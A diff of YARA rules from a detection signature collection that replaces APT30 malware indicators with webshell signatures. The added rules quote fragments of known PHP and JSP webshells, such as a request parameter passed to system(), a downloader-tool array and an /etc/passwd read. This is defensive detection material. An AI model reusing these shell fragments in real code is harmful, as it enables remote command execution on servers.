-		hash = "c3aa52ff1d19e8fc6704777caf7c5bd120056845"
-		logic_hash = "43913151325fbce993dbfec0acf64ca835b12270c47156ae81b0ce4f32c7bde1"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1392-L1405"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0911b6e6b8f4bcb05599b2885a7fe8a8"
+		logic_hash = "3afa0463de3acb12480dba1b2ab9cd53fca88216ba54c5e044e48ebd84bf17bd"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Nkfvtyvn}]ty}ztU" fullword ascii
-		$s4 = "IEXPL0RE" fullword ascii
+		$s0 = "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_18 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Tree
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file tree.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L446-L466"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "355436a16d7a2eba8a284b63bb252a8bb1644751"
-		logic_hash = "d20f1d1b7b43defc36c7b1f99f14ed9e73e770b6f43d0ad92110cf9178b35b15"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1406-L1420"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bcdf7bbf7bbfa1ffa4f9a21957dbcdfa"
+		logic_hash = "180aa4572a42d23f3e44589f876356ec973fd64cdd53bac69936b93699888ac2"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "w.km-nyc.com" fullword ascii
-		$s1 = "tscv.exe" fullword ascii
-		$s2 = "Exit/app.htm" ascii
-		$s3 = "UBD:\\D" ascii
-		$s4 = "LastError" ascii
-		$s5 = "MicrosoftHaveAck" ascii
-		$s7 = "HHOSTR" ascii
-		$s20 = "XPL0RE." ascii
+		$s5 = "$('#tt2').tree('options').url = \"selectChild.action?checki"
+		$s6 = "String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+requ"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_G : FILE
+rule SIGNATURE_BASE_Webshell_C99Madshell_V_3_0_Smowu
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file smowu.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "34269de3-4559-58a5-a621-0ad72857dc9e"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L468-L489"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1612b392d6145bfb0c43f8a48d78c75f"
-		hash = "53f1358cbc298da96ec56e9a08851b4b"
-		hash = "c2acc9fc9b0f050ec2103d3ba9cb11c0"
-		hash = "f18be055fae2490221c926e2ad55ab11"
-		logic_hash = "6926d73839958acd06835c1943edb150a0f60cdc269fac053531a0e0483e0521"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1421-L1435"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "74e1e7c7a6798f1663efb42882b85bee"
+		logic_hash = "d84a5c573b89790efdbe67a684feb7db88521027e86b7588f090696fd90cbc87"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "%s\\%s\\%s=%s" fullword ascii
-		$s1 = "Copy File %s OK!" fullword ascii
-		$s2 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
-		$s4 = "open=%s" fullword ascii
-		$s5 = "Maybe a Encrypted Flash Disk" fullword ascii
-		$s12 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+		$s2 = "<tr><td width=\"50%\" height=\"1\" valign=\"top\"><center><b>:: Enter ::</b><for"
+		$s8 = "<p><font color=red>Wordpress Not Found! <input type=text id=\"wp_pat\"><input ty"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT30_Sample_19 : FILE
+rule SIGNATURE_BASE_Webshell_Simple_Backdoor
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file simple-backdoor.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-03"
-		modified = "2023-01-06"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L491-L517"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cfa438449715b61bffa20130df8af778ef011e15"
-		logic_hash = "9127ae31c5b818a2759f9d33c74c8631079539e7fa8e49e5514b016df2624065"
-		score = 75
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1436-L1451"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+		logic_hash = "252285e8a796757235d775427e5a73980d065c1221190545428910a77f46bb9a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
-		$s1 = "%s,Volume:%s,Type:%s,TotalSize:%uMB,FreeSize:%uMB" fullword ascii
-		$s2 = "\\TEMP\\" ascii
-		$s3 = "\\Temporary Internet Files\\" ascii
-		$s5 = "%s TotalSize:%u Bytes" fullword ascii
-		$s6 = "This Disk Maybe a Encrypted Flash Disk!" fullword ascii
-		$s7 = "User:%-32s" fullword ascii
-		$s8 = "\\Desktop\\" ascii
-		$s9 = "%s.%u_%u" fullword ascii
-		$s10 = "Nick:%-32s" fullword ascii
-		$s11 = "E-mail:%-32s" fullword ascii
-		$s13 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
-		$s14 = "Type:%-8s" fullword ascii
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s4 = "system($cmd);" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and 8 of them
+		2 of them
 }
-rule SIGNATURE_BASE_APT30_Generic_E_V2 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_404
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file 404.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "40897687-fb17-568e-9907-e9588a53bbe0"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L519-L535"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eca53a9f6251ddf438508b28d8a483f91b99a3fd"
-		logic_hash = "25a7e5780f56b4f9cfb76494926c446a39a88bef2cda82b31e6de2b85c5edbda"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1452-L1465"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "078c55ac475ab9e028f94f879f548bca"
+		logic_hash = "b0524ecddf990048e3e40f471c24075c0e87654c6fe40f17dc3ff43743402e24"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Nkfvtyvn}duf_Z}{Ys" fullword ascii
-		$s1 = "Nkfvtyvn}*Zrswru1i" fullword ascii
-		$s2 = "Nkfvtyvn}duf_Z}{V" fullword ascii
-		$s3 = "Nkfvtyvn}*ZrswrumT\\b" fullword ascii
+		$s4 = "<span>Posix_getpwuid (\"Read\" /etc/passwd)"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_20 : FILE
+rule SIGNATURE_BASE_Webshell_Macker_S_Private_Phpshell
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Macker's Private PHPShell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "91246101-246b-5da9-9e55-7f361d1f6437"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L537-L557"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b1c37632e604a5d1f430c9351f87eb9e8ea911c0"
-		logic_hash = "f94cbd4b8e7ba302db9ac4ef3617bd68aa0aa1ee3cfc6dfee4621223bbdae3c5"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1466-L1481"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e24cbf0e294da9ac2117dc660d890bb9"
+		logic_hash = "4bccc1aca8698e601133436a55538c08e3e1fa113a0776c04590eaf4a10fd309"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "dizhi.gif" fullword ascii
-		$s2 = "Mozilla/u" ascii
-		$s3 = "XicrosoftHaveAck" ascii
-		$s4 = "flyeagles" ascii
-		$s10 = "iexplore." ascii
-		$s13 = "WindowsGV" fullword ascii
-		$s16 = "CatePipe" fullword ascii
-		$s17 = "'QWERTY:/webpage3" fullword ascii
+		$s3 = "echo \"<tr><td class=\\\"silver border\\\">&nbsp;<strong>Server's PHP Version:&n"
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s7 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_21 : FILE
+rule SIGNATURE_BASE_Webshell_Antichat_Shell_V1_3_2
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Antichat Shell v1.3.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "72005b40-91f7-5661-9478-8680f999b245"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L559-L575"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d315daa61126616a79a8582145777d8a1565c615"
-		logic_hash = "e3e431bb6915d99b8aa1915419b60ba47372005b9b4994a924746a91bad80310"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1482-L1495"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "40d0abceba125868be7f3f990f031521"
+		logic_hash = "d5a1dc31f442f8db7771ee64164436f6c562ef9f4a203a1e2006d37f9df91846"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Service.dll" fullword ascii
-		$s1 = "(%s:%s %s)" fullword ascii
-		$s2 = "%s \"%s\",%s %s" fullword ascii
-		$s5 = "Proxy-%s:%u" fullword ascii
+		$s3 = "$header='<html><head><title>'.getenv(\"HTTP_HOST\").' - Antichat Shell</title><m"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_22 : FILE
+rule SIGNATURE_BASE_Webshell_Safe_Mode_Breaker
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Safe mode breaker.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6c1b3dd2-4383-51a2-9185-2365a4d1e784"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L577-L595"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0d17a58c24753e5f8fd5276f62c8c7394d8e1481"
-		logic_hash = "88a45d248eba7b9776e2e7d345d2948e00a94a7e359acb89d1943be55ab342ad"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1496-L1510"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5bd07ccb1111950a5b47327946bfa194"
+		logic_hash = "4adcefc05413a02653a2a405791345a1a76058a39f6e2b03765c4485f7c6b106"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "(\\TEMP" fullword ascii
-		$s2 = "Windows\\Cur" fullword ascii
-		$s3 = "LSSAS.exeJ" fullword ascii
-		$s4 = "QC:\\WINDOWS" fullword ascii
-		$s5 = "System Volume" fullword ascii
-		$s8 = "PROGRAM FILE" fullword ascii
+		$s5 = "preg_match(\"/SAFE\\ MODE\\ Restriction\\ in\\ effect\\..*whose\\ uid\\ is("
+		$s6 = "$path =\"{$root}\".((substr($root,-1)!=\"/\") ? \"/\" : NULL)."
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT30_Generic_F : FILE
+rule SIGNATURE_BASE_Webshell_Sst_Sheller
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Sst-Sheller.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cff8b921-9afc-5a52-84cb-825de33fc86e"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L597-L615"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4997b52e0cc12a1a0c84cec3565dd9e6b486ccef4eb8791c566c7a534d36e3ff"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1511-L1525"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d93c62a0a042252f7531d8632511ca56"
+		logic_hash = "4faac0b22fec809f2100bad200ba1f9fb9e16fab743e1b1cbfe0b80c6d2fee32"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "09010917cd00dc8ddd21aeb066877aa2"
-		hash2 = "4c10a1efed25b828e4785d9526507fbc"
-		hash3 = "b7b282c9e3eca888cbdb5a856e07e8bd"
-		hash4 = "df1799845b51300b03072c6569ab96d5"
 
 	strings:
-		$s0 = "\\~zlzl.exe" ascii
-		$s2 = "\\Internet Exp1orer" ascii
-		$s3 = "NodAndKabIsExcellent" fullword ascii
+		$s2 = "echo \"<a href='?page=filemanager&id=fm&fchmod=$dir$file'>"
+		$s3 = "<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3)"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_23 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_List
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file list.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9366dd34-9967-5b40-935e-4b0d8f2f5e9e"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L617-L637"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9865e24aadb4480bd3c182e50e0e53316546fc01"
-		logic_hash = "64ff048b061431e0834ac40bfccb0d9e8ca60ffb022578ef910e6ffc511be6ed"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1526-L1541"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1ea290ff4259dcaeb680cec992738eda"
+		logic_hash = "5641bff0ec161fe72e502641b6138186d541ebfcbf499e0295a61f9f6f085654"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "hostid" ascii
-		$s1 = "\\Window" ascii
-		$s2 = "%u:%u%s" fullword ascii
-		$s5 = "S2tware\\Mic" ascii
-		$s6 = "la/4.0 (compa" ascii
-		$s7 = "NameACKernel" fullword ascii
-		$s12 = "ToWideChc[lo" fullword ascii
-		$s14 = "help32SnapshotfL" ascii
+		$s0 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+		$s2 = "out.print(\") <A Style='Color: \" + fcolor.toString() + \";' HRef='?file=\" + fn"
+		$s7 = "if(flist[i].canRead() == true) out.print(\"r\" ); else out.print(\"-\");" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_24 : FILE
+rule SIGNATURE_BASE_Webshell_Phpjackal_V1_5
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file PHPJackal v1.5.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aed2201d-b557-56ec-aa53-fff5b1e17dbd"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L639-L658"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "572caa09f2b600daa941c60db1fc410bef8d1771"
-		logic_hash = "9d550fd0225f1c4e3b16ae53648644d7bb5c80e99e2a1a3d199e51c7219c2e94"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1542-L1556"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d76dc20a4017191216a0315b7286056f"
+		logic_hash = "457bc71cb8e684dafb14b1c5d2faa4366cedce5eba9545493be2b1d49daf98b6"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "dizhi.gif" fullword ascii
-		$s3 = "Mozilla/4.0" fullword ascii
-		$s4 = "lyeagles" fullword ascii
-		$s6 = "HHOSTR" ascii
-		$s7 = "#MicrosoftHaveAck7" ascii
-		$s8 = "iexplore." fullword ascii
-		$s17 = "ModuleH" fullword ascii
+		$s7 = "echo \"<center>${t}MySQL cilent:</td><td bgcolor=\\\"#333333\\\"></td></tr><form"
+		$s8 = "echo \"<center>${t}Wordlist generator:</td><td bgcolor=\\\"#333333\\\"></td></tr"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_25 : FILE
+rule SIGNATURE_BASE_Webshell_Customize
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file customize.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8b2f2ba2-e9cc-5b3c-8af9-4217d662bc3f"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L660-L679"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "44a21c8b3147fabc668fee968b62783aa9d90351"
-		logic_hash = "86945188f888762ae585463df7cfb6e5fed30d0fcfcca4e642aedf07a0193ae7"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1557-L1570"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d55578eccad090f30f5d735b8ec530b1"
+		logic_hash = "462d97427793ef6e897b33f4fd02d452ad8cd11ddef21aa25d13efc981eb3afb"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\WINDOWS" fullword ascii
-		$s2 = "aragua" fullword ascii
-		$s4 = "\\driver32\\7$" ascii
-		$s8 = "System V" fullword ascii
-		$s9 = "Compu~r" fullword ascii
-		$s10 = "PROGRAM L" fullword ascii
-		$s18 = "GPRTMAX" fullword ascii
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_26 : FILE
+rule SIGNATURE_BASE_Webshell_S72_Shell_V1_1_Coding
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file s72 Shell v1.1 Coding.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aa80a142-c8fc-504e-b475-e9838607bec6"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L681-L700"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e26588113417bf68cb0c479638c9cd99a48e846d"
-		logic_hash = "b585687c071dc2dddb888906f47b7af6bc7683e902d3afb42364896e800fac5c"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1571-L1584"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+		logic_hash = "fd200d8aa347242546a1da311edc61ceebaec5f7d6b4fe2f49f069b36689f547"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "forcegue" fullword ascii
-		$s3 = "Windows\\Cur" fullword ascii
-		$s4 = "System Id" fullword ascii
-		$s5 = "Software\\Mic" fullword ascii
-		$s6 = "utiBy0ToWideCh&$a" fullword ascii
-		$s10 = "ModuleH" fullword ascii
-		$s15 = "PeekNamed6G" fullword ascii
+		$s5 = "<font face=\"Verdana\" style=\"font-size: 8pt\" color=\"#800080\">Buradan Dosya "
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_D : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Sys3
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file sys3.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9b8d8a60-a357-5cfd-8ff1-6264144ad7be"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
